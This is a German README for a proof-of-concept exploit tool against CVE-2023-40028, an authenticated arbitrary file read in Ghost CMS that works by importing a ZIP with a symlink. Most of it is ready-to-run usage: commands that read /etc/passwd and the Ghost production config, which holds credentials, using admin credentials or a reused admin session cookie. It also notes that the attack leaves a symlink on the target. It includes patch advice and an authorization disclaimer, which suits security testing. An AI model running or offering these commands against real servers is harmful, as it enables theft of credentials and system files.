
POC für CVE-2023-40028: Ghost CMS Beliebiger Dateizugriff (Arbitrary File Read)
Proof of Concept für CVE-2023-40028, eine authentifizierte Schwachstelle zum beliebigen Lesen von Dateien in der Content-Import-Funktion von Ghost. Ein manipuliertes ZIP-Archiv erstellt einen Symlink unter content/images, wodurch das Skript eine Datei vom Ghost-Host anfordern kann.
Ghost-Versionen vor 5.59.1 sind betroffen. Aktualisiere auf 5.59.1 oder höher.
Verwende dies nur gegen Systeme, die dir gehören oder für die du eine Testautorisierung hast.
requestsghost-admin-api-session-Cookiepython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
Eine Datei mit Benutzername und Passwort lesen:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
Ein vorhandenes Admin-Session-Cookie verwenden:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
Lasse --file weg, um die interaktive Eingabeaufforderung file> zu öffnen. Führe python3 ghost_fileread.py --help aus, um Optionen für Proxy, Timeout und User-Agent zu sehen.
Der Endpunkt gibt Text zurück, daher ist dieses Tool für Textdateien gedacht. Das Importieren des manipulierten Archivs hinterlässt einen Symlink im Verzeichnis content/images des Ziels.